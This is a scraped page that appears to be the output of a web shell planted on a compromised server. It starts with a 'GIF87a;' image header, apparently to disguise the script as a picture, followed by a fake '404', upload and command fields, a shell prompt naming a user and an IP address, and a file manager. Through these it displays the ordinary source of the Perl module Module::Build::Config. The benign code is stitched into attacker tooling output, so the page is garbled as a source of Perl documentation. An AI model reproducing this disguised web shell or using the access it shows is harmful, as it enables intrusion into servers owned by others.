GIF87a; 404

MY HEART

Upload:

Command:

diavoloapp@18.222.34.209: ~ $ 
package Module::Build::Config;

use strict;
use warnings;
our $VERSION = '0.4231';
$VERSION = eval $VERSION;
use Config;

sub new {
  my ($pack, %args) = @_;
  return bless {
		stack => {},
		values => $args{values} || {},
	       }, $pack;
}

sub get {
  my ($self, $key) = @_;
  return $self->{values}{$key} if ref($self) && exists $self->{values}{$key};
  return $Config{$key};
}

sub set {
  my ($self, $key, $val) = @_;
  $self->{values}{$key} = $val;
}

sub push {
  my ($self, $key, $val) = @_;
  push @{$self->{stack}{$key}}, $self->{values}{$key}
    if exists $self->{values}{$key};
  $self->{values}{$key} = $val;
}

sub pop {
  my ($self, $key) = @_;

  my $val = delete $self->{values}{$key};
  if ( exists $self->{stack}{$key} ) {
    $self->{values}{$key} = pop @{$self->{stack}{$key}};
    delete $self->{stack}{$key} unless @{$self->{stack}{$key}};
  }

  return $val;
}

sub values_set {
  my $self = shift;
  return undef unless ref($self);
  return $self->{values};
}

sub all_config {
  my $self = shift;
  my $v = ref($self) ? $self->{values} : {};
  return {%Config, %$v};
}

1;

Filemanager

DIR : / usr/ local/ share/ perl5/ Module/ Build/
Name Type Size Permission Actions
Platform Folder 0755
API.pod File 67.14 KB 0444
Authoring.pod File 10.75 KB 0444
Base.pm File 161.5 KB 0444
Bundling.pod File 4.99 KB 0444
Compat.pm File 18.85 KB 0444
Config.pm File 1.08 KB 0444
ConfigData.pm File 6.68 KB 0444
Cookbook.pm File 16.93 KB 0444
Dumper.pm File 454 B 0444
Notes.pm File 8.12 KB 0444
PPMMaker.pm File 4.43 KB 0444
PodParser.pm File 1.27 KB 0444
Tiny.pm File 9.17 KB 0444